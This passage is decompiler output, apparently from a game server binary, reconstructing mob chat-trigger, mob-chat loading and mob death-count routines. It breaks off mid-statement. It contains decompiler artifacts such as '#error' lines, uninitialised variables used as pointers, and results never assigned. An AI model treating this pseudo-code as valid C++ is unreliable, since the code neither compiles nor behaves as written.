* v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1324))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_DamageChat"); } // 49A5E0: inconsistent function type and number of purged bytes //----- (0049A730) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_KilledChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_KilledChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_KilledChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1324))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_KilledChat"); } // 49A730: inconsistent function type and number of purged bytes //----- (0049A880) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_HelpReqChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpReqChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_HelpReqChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1324))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpReqChat"); } // 49A880: inconsistent function type and number of purged bytes //----- (0049A9D0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_HelpAckChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpAckChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_HelpAckChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1324))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpAckChat"); } // 49A9D0: inconsistent function type and number of purged bytes //----- (0049AB20) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_DetectBattleChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElement::mceb_DetectBattleChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_DetectBattleChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1324))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElement::mceb_DetectBattleChat"); } // 49AB20: inconsistent function type and number of purged bytes //----- (0049AC70) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::_MobChatManager(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // edi@1 char *v3; // ebx@2 char *v4; // eax@3 void *v5; // ST14_4@5 MobChat::MobChatElementBase **v6; // ecx@6 char *v7; // eax@6 void *v8; // ST14_4@8 MobChat::MobChatElementBase **v9; // edx@9 char *v10; // eax@9 void *v11; // ST14_4@11 char *v12; // eax@12 void *v13; // ST14_4@14 MobChat::MobChatElementBase **v14; // ecx@15 char *v15; // eax@15 void *v16; // ST14_4@17 MobChat::MobChatElementBase **v17; // edx@18 char *v18; // eax@18 void *v19; // ST14_4@20 char *v20; // eax@21 void *v21; // ST14_4@23 v1 = this; v2 = 0; if ( this->mcm_MaxMobHandle > 0 ) { v3 = (char *)&this->mcm_Default; do { v4 = (char *)v1->mcm_Wander[v2]; if ( v4 != v3 && v4 ) { v5 = v1->mcm_Wander[v2]; *(_DWORD *)v4 = &MobChat::MobChatElementBase::_vftable_; operator delete(v5); } v6 = v1->mcm_Attack; v7 = (char *)v6[v2]; if ( v7 != v3 && v7 ) { v8 = v6[v2]; *(_DWORD *)v7 = &MobChat::MobChatElementBase::_vftable_; operator delete(v8); } v9 = v1->mcm_Damage; v10 = (char *)v9[v2]; if ( v10 != v3 && v10 ) { v11 = v9[v2]; *(_DWORD *)v10 = &MobChat::MobChatElementBase::_vftable_; operator delete(v11); } v12 = (char *)v1->mcm_Killed[v2]; if ( v12 != v3 && v12 ) { v13 = v1->mcm_Killed[v2]; *(_DWORD *)v12 = &MobChat::MobChatElementBase::_vftable_; operator delete(v13); } v14 = v1->mcm_HelpReq; v15 = (char *)v14[v2]; if ( v15 != v3 && v15 ) { v16 = v14[v2]; *(_DWORD *)v15 = &MobChat::MobChatElementBase::_vftable_; operator delete(v16); } v17 = v1->mcm_HelpAck; v18 = (char *)v17[v2]; if ( v18 != v3 && v18 ) { v19 = v17[v2]; *(_DWORD *)v18 = &MobChat::MobChatElementBase::_vftable_; operator delete(v19); } v20 = (char *)v1->mcm_DetectBattle[v2]; if ( v20 != v3 && v20 ) { v21 = v1->mcm_DetectBattle[v2]; *(_DWORD *)v20 = &MobChat::MobChatElementBase::_vftable_; operator delete(v21); } ++v2; } while ( v2 < v1->mcm_MaxMobHandle ); } operator delete(v1->mcm_Wander); operator delete(v1->mcm_Attack); operator delete(v1->mcm_Damage); operator delete(v1->mcm_Killed); operator delete(v1->mcm_HelpReq); operator delete(v1->mcm_HelpAck); operator delete(v1->mcm_DetectBattle); v1->mcm_Default.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementBase::_vftable_; } // 64BB3C: using guessed type int (*MobChat__MobChatElementBase___vftable_)(); //----- (0049ADB0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_Load(MobChat::MobChatManager *this, Name4 *world) { MobChat::MobChatManager *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 unsigned int v6; // edi@1 char v7; // bl@2 int v8; // eax@2 unsigned int v9; // ST44_4@5 void *v10; // eax@5 unsigned int v11; // ST3C_4@5 void *v12; // eax@5 unsigned int v13; // ST38_4@5 void *v14; // eax@5 unsigned int v15; // ST30_4@5 void *v16; // eax@5 unsigned int v17; // ST2C_4@5 void *v18; // eax@5 int v19; // ecx@5 int v20; // eax@5 signed int j; // eax@8 int v22; // edi@10 MobDataBox::MobDataBoxIndex *v23; // ebp@11 unsigned __int16 v24; // ax@13 int v25; // ebx@15 int v26; // eax@19 char *v27; // ebp@22 _BYTE v28[20]; // ST28_20@22 int v29; // eax@23 int v30; // ecx@23 int v31; // edx@23 void *v32; // eax@31 MobChat::MobChatElementBase *v33; // eax@32 void *v34; // eax@42 MobChat::MobChatElementBase *v35; // eax@43 void *v36; // eax@53 MobChat::MobChatElementBase *v37; // eax@54 void *v38; // eax@64 MobChat::MobChatElementBase *v39; // eax@65 void *v40; // eax@75 MobChat::MobChatElementBase *v41; // eax@76 void *v42; // eax@86 MobChat::MobChatElementBase *v43; // eax@87 void *v44; // eax@97 MobChat::MobChatElementBase *v45; // eax@98 char *v46; // eax@100 void *record; // [sp+10h] [bp-10A10h]@1 int mob; // [sp+14h] [bp-10A0Ch]@10 unsigned int i; // [sp+18h] [bp-10A08h]@19 unsigned int sub; // [sp+1Ch] [bp-10A04h]@7 char *tables; // [sp+20h] [bp-10A00h]@7 char *v52; // [sp+24h] [bp-109FCh]@7 char *v53; // [sp+28h] [bp-109F8h]@7 char *v54; // [sp+2Ch] [bp-109F4h]@7 char *v55; // [sp+30h] [bp-109F0h]@7 char *v56; // [sp+34h] [bp-109ECh]@7 char *v57; // [sp+38h] [bp-109E8h]@7 int v58; // [sp+44h] [bp-109DCh]@23 int v59; // [sp+4Ch] [bp-109D4h]@23 char killed[4]; // [sp+50h] [bp-109D0h]@7 int v61; // [sp+54h] [bp-109CCh]@7 int v62; // [sp+58h] [bp-109C8h]@7 int v63; // [sp+5Ch] [bp-109C4h]@7 int v64; // [sp+60h] [bp-109C0h]@7 char detectbattle[4]; // [sp+64h] [bp-109BCh]@7 int v66; // [sp+68h] [bp-109B8h]@7 int v67; // [sp+6Ch] [bp-109B4h]@7 int v68; // [sp+70h] [bp-109B0h]@7 int v69; // [sp+74h] [bp-109ACh]@7 char attack[4]; // [sp+78h] [bp-109A8h]@7 int v71; // [sp+7Ch] [bp-109A4h]@7 int v72; // [sp+80h] [bp-109A0h]@7 int v73; // [sp+84h] [bp-1099Ch]@7 int v74; // [sp+88h] [bp-10998h]@7 char wander[4]; // [sp+8Ch] [bp-10994h]@7 int v76; // [sp+90h] [bp-10990h]@7 int v77; // [sp+94h] [bp-1098Ch]@7 int v78; // [sp+98h] [bp-10988h]@7 int v79; // [sp+9Ch] [bp-10984h]@7 char damage[4]; // [sp+A0h] [bp-10980h]@7 int v81; // [sp+A4h] [bp-1097Ch]@7 int v82; // [sp+A8h] [bp-10978h]@7 int v83; // [sp+ACh] [bp-10974h]@7 int v84; // [sp+B0h] [bp-10970h]@7 char helpreq[4]; // [sp+B4h] [bp-1096Ch]@7 int v86; // [sp+B8h] [bp-10968h]@7 int v87; // [sp+BCh] [bp-10964h]@7 int v88; // [sp+C0h] [bp-10960h]@7 int v89; // [sp+C4h] [bp-1095Ch]@7 char helpack[4]; // [sp+C8h] [bp-10958h]@7 int v91; // [sp+CCh] [bp-10954h]@7 int v92; // [sp+D0h] [bp-10950h]@7 int v93; // [sp+D4h] [bp-1094Ch]@7 int v94; // [sp+D8h] [bp-10948h]@7 OptionReader or; // [sp+DCh] [bp-10944h]@1 int buf; // [sp+10930h] [bp-F0h]@1 int v97; // [sp+10934h] [bp-ECh]@1 int v98; // [sp+10938h] [bp-E8h]@1 int v99; // [sp+1093Ch] [bp-E4h]@1 char v100; // [sp+10940h] [bp-E0h]@1 char path[128]; // [sp+10950h] [bp-D0h]@1 char v102; // [sp+109D0h] [bp-50h]@100 unsigned int v103; // [sp+10A10h] [bp-10h]@1 int v104; // [sp+10A1Ch] [bp-4h]@1 v2 = this; v103 = (unsigned int)&record ^ __security_cookie; OptionReader::OptionReader(&or); v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v97 = v3; v5 = *(_DWORD *)&world->n4_name[12]; v98 = v4; v6 = 0; v104 = 0; v99 = v5; v100 = 0; sprintf(path, "../9Data/Hero/World/%s/MobChat.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Hero/World/MobChat.txt"); v7 = OptionReader::or_Read(&or, path); v8 = OptionReader::or_ErrorLine(&or); if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Error in Script read", v8); ShineExit("MobChat::MobChatManager::mcm_Load"); } } v9 = 4 * (mobdatabox.mdb_maxmobhandle + 1); v2->mcm_MaxMobHandle = mobdatabox.mdb_maxmobhandle + 1; v2->mcm_Wander = (MobChat::MobChatElementBase **)operator new__(v9); v10 = operator new__(4 * v2->mcm_MaxMobHandle); v11 = 4 * v2->mcm_MaxMobHandle; v2->mcm_Attack = (MobChat::MobChatElementBase **)v10; v12 = operator new__(v11); v13 = 4 * v2->mcm_MaxMobHandle; v2->mcm_Damage = (MobChat::MobChatElementBase **)v12; v2->mcm_Killed = (MobChat::MobChatElementBase **)operator new__(v13); v14 = operator new__(4 * v2->mcm_MaxMobHandle); v15 = 4 * v2->mcm_MaxMobHandle; v2->mcm_HelpReq = (MobChat::MobChatElementBase **)v14; v16 = operator new__(v15); v17 = 4 * v2->mcm_MaxMobHandle; v2->mcm_HelpAck = (MobChat::MobChatElementBase **)v16; v18 = operator new__(v17); v19 = v2->mcm_MaxMobHandle; v2->mcm_DetectBattle = (MobChat::MobChatElementBase **)v18; v20 = 0; if ( v19 > 0 ) { do { v2->mcm_DetectBattle[v20] = &v2->mcm_Default; v2->mcm_HelpAck[v20] = v2->mcm_DetectBattle[v20]; v2->mcm_HelpReq[v20] = v2->mcm_HelpAck[v20]; v2->mcm_Killed[v20] = v2->mcm_HelpReq[v20]; v2->mcm_Damage[v20] = v2->mcm_Killed[v20]; v2->mcm_Attack[v20] = v2->mcm_Damage[v20]; v2->mcm_Wander[v20] = v2->mcm_Attack[v20]; ++v20; } while ( v20 < v2->mcm_MaxMobHandle ); } v79 = 0; v78 = 0; v77 = 0; v76 = 0; *(_DWORD *)wander = 0; strncpy(wander, "PIECE", 0x14u); v74 = 0; v73 = 0; v72 = 0; v71 = 0; *(_DWORD *)attack = 0; strncpy(attack, "ATTACK", 0x14u); v84 = 0; v83 = 0; v82 = 0; v81 = 0; *(_DWORD *)damage = 0; strncpy(damage, "DAMAGED", 0x14u); v64 = 0; v63 = 0; v62 = 0; v61 = 0; *(_DWORD *)killed = 0; strncpy(killed, "DEAD", 0x14u); v89 = 0; v88 = 0; v87 = 0; v86 = 0; *(_DWORD *)helpreq = 0; strncpy(helpreq, "HELPMAIN", 0x14u); v94 = 0; v93 = 0; v92 = 0; v91 = 0; *(_DWORD *)helpack = 0; strncpy(helpack, "HELPSUB", 0x14u); v69 = 0; v68 = 0; v67 = 0; v66 = 0; *(_DWORD *)detectbattle = 0; strncpy(detectbattle, "RACERESCU", 0x14u); tables = wander; v52 = attack; v53 = damage; v54 = killed; v56 = helpack; v55 = helpreq; v57 = detectbattle; sub = 0; if ( mobdatabox.mdb_mobspacies > 0 ) goto LABEL_9; for ( j = 65535; ; j = BinaryDataBox::operator__(&mobdatabox.mdb_BinData.mobinf, v6)->ID ) { v22 = (unsigned __int16)j; mob = j; if ( (unsigned __int16)j > mobdatabox.mdb_maxmobhandle || (v23 = &mobdatabox.mdb_index[(unsigned __int16)j]) == 0 || !v23->data ) goto LABEL_15; v24 = v23->data->ID; if ( v24 != (_WORD)mob ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", v22, v24); LABEL_15: v25 = 0; goto LABEL_16; } v25 = (int)&mobdatabox.mdb_index[v22]; LABEL_16: mob = v25; if ( !v25 ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Null inf", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v26 = 0; i = 0; while ( 1 ) { v27 = (&tables)[4 * v26]; *(_DWORD *)v28 = *(_DWORD *)v27; *(_QWORD *)&v28[4] = *(_QWORD *)(v27 + 4); *(_QWORD *)&v28[12] = *(_QWORD *)(v27 + 12); record = OptionReader::or_SelectFrom(&or, *(ORToken *)v28, "MobIndex", (char *)(*(_DWORD *)v25 + 2), 0); if ( record ) { v29 = *(_DWORD *)v27; v30 = *((_DWORD *)v27 + 1); v58 = *((_DWORD *)v27 + 2); v31 = *((_DWORD *)v27 + 3); v59 = *((_DWORD *)v27 + 4); if ( v29 != *(_DWORD *)wander || v30 != v76 || v58 != v77 || v31 != v78 || v59 != v79 ) { if ( v29 != *(_DWORD *)attack || v30 != v71 || v58 != v72 || v31 != v73 || v59 != v74 ) { if ( v29 != *(_DWORD *)damage || v30 != v81 || v58 != v82 || v31 != v83 || v59 != v84 ) { if ( v29 != *(_DWORD *)killed || v30 != v61 || v58 != v62 || v31 != v63 || v59 != v64 ) { if ( v29 != *(_DWORD *)helpreq || v30 != v86 || v58 != v87 || v31 != v88 || v59 != v89 ) { if ( v29 != *(_DWORD *)helpack || v30 != v91 || v58 != v92 || v31 != v93 || v59 != v94 ) { if ( v29 != *(_DWORD *)detectbattle || v30 != v66 || v58 != v67 || v31 != v68 || v59 != v69 ) { v46 = ORToken::ort_GetString((ORToken *)v27, &v102); AssertClass::ac_AssertFail(&shineassert, "Invalid Flag", v46); } else { if ( v2->mcm_DetectBattle[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail( &shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v44 = operator new(0x128u); if ( v44 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v44, (MobChat::MobChatRecord *)record); v2->mcm_DetectBattle[v22] = v45; } else { v2->mcm_DetectBattle[v22] = 0; } } } else { if ( v2->mcm_HelpAck[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail( &shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v42 = operator new(0x128u); if ( v42 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v42, (MobChat::MobChatRecord *)record); v2->mcm_HelpAck[v22] = v43; } else { v2->mcm_HelpAck[v22] = 0; } } } else { if ( v2->mcm_HelpReq[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v40 = operator new(0x128u); if ( v40 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v40, (MobChat::MobChatRecord *)record); v2->mcm_HelpReq[v22] = v41; } else { v2->mcm_HelpReq[v22] = 0; } } } else { if ( v2->mcm_Killed[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v38 = operator new(0x128u); if ( v38 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v38, (MobChat::MobChatRecord *)record); v2->mcm_Killed[v22] = v39; } else { v2->mcm_Killed[v22] = 0; } } } else { if ( v2->mcm_Damage[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v36 = operator new(0x128u); if ( v36 ) { MobChat::MobChatElement::MobChatElement( (MobChat::MobChatElement *)v36, (MobChat::MobChatRecord *)record); v2->mcm_Damage[v22] = v37; } else { v2->mcm_Damage[v22] = 0; } } } else { if ( v2->mcm_Attack[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v34 = operator new(0x128u); if ( v34 ) { MobChat::MobChatElement::MobChatElement((MobChat::MobChatElement *)v34, (MobChat::MobChatRecord *)record); v2->mcm_Attack[v22] = v35; } else { v2->mcm_Attack[v22] = 0; } } } else { if ( v2->mcm_Wander[v22] != &v2->mcm_Default ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Duplicate entry", v22); ShineExit("MobChat::MobChatManager::mcm_Load"); } v32 = operator new(0x130u); if ( v32 ) { MobChat::MobChatElementWander::MobChatElementWander( (MobChat::MobChatElementWander *)v32, (MobChat::MobChatRecord *)record); v2->mcm_Wander[v22] = v33; } else { v2->mcm_Wander[v22] = 0; } } } v26 = i++ + 1; if ( i >= 7 ) break; v25 = mob; } v6 = sub++ + 1; if ( sub >= mobdatabox.mdb_mobspacies ) break; LABEL_9: ; } v104 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&record ^ v103); } //----- (0049B740) -------------------------------------------------------- void __thiscall MobDeadCount::_MobDeadCount(MobDeadCount *this) { if ( this->mdc_Counter ) operator delete__(this->mdc_Counter); } //----- (0049B750) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Clear(MobDeadCount *this) { void **v1; // esi@1 unsigned int v2; // edx@1 void *v3; // edi@1 int v4; // edi@1 int i; // ecx@1 v1 = (void **)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = 2 * mobdatabox.mdb_maxmobhandle + 2; ++funcallanalizer.fca_stackpoint; v3 = *v1; memset(*v1, 0, 4 * (v2 >> 2)); v4 = (int)((char *)v3 + 4 * (v2 >> 2)); for ( i = v2 & 3; i; --i ) *(_BYTE *)v4++ = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_Clear"); } //----- (0049B7D0) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Count(MobDeadCount *this, unsigned __int16 mobid) { MobDeadCount *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_Count"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_Count"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mobid < (signed int)(mobdatabox.mdb_maxmobhandle + 1) ) ++v2->mdc_Counter[mobid]; else AssertClass::ac_AssertFail(&shineassert, "MobDeadCount::mdc_Counter : Invalid MobID", mobid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_Count"); } //----- (0049B8A0) -------------------------------------------------------- int __thiscall MobDeadCount::mdc_DeadCountGet(MobDeadCount *this, unsigned __int16 mobid) { MobDeadCount *v2; // esi@1 int result; // eax@2 int v4; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobDeadCount::mdc_DeadCountGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mobid < (signed int)(mobdatabox.mdb_maxmobhandle + 1) ) { v4 = v2->mdc_Counter[mobid]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); result = v4; } else { AssertClass::ac_AssertFail(&shineassert, "MobDeadCount::mdc_Counter : Invalid MobID", mobid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobDeadCount::mdc_DeadCountGet"); result = 0; } return result; } //----- (0049B990) -------------------------------------------------------- void __thiscall MobDeadCount::mdc_Init(MobDeadCount *this) { MobDeadCount *v1; // esi@1 v1 = this; this->mdc_Counter = (unsigned __int16 *)operator new__(2 * mobdatabox.mdb_maxmobhandle + 2); MobDeadCount::mdc_Clear(v1); } //----- (0049B9B0) -------------------------------------------------------- #error "49B9B0: undefined or illegal type '#593' (funcsize=130)" //----- (0049BB60) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(int this, int a2) { int result; // eax@1 int v3; // ecx@1 signed int v4; // edi@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 2) = *(_DWORD *)(a2 + 2); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); *(_BYTE *)(this + 27) = *(_BYTE *)(a2 + 27); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); memcpy((void *)(this + 29), (const void *)(a2 + 29), 0x3Au); memcpy((void *)(this + 87), (const void *)(a2 + 87), 0x66u); v3 = this + 189; v4 = 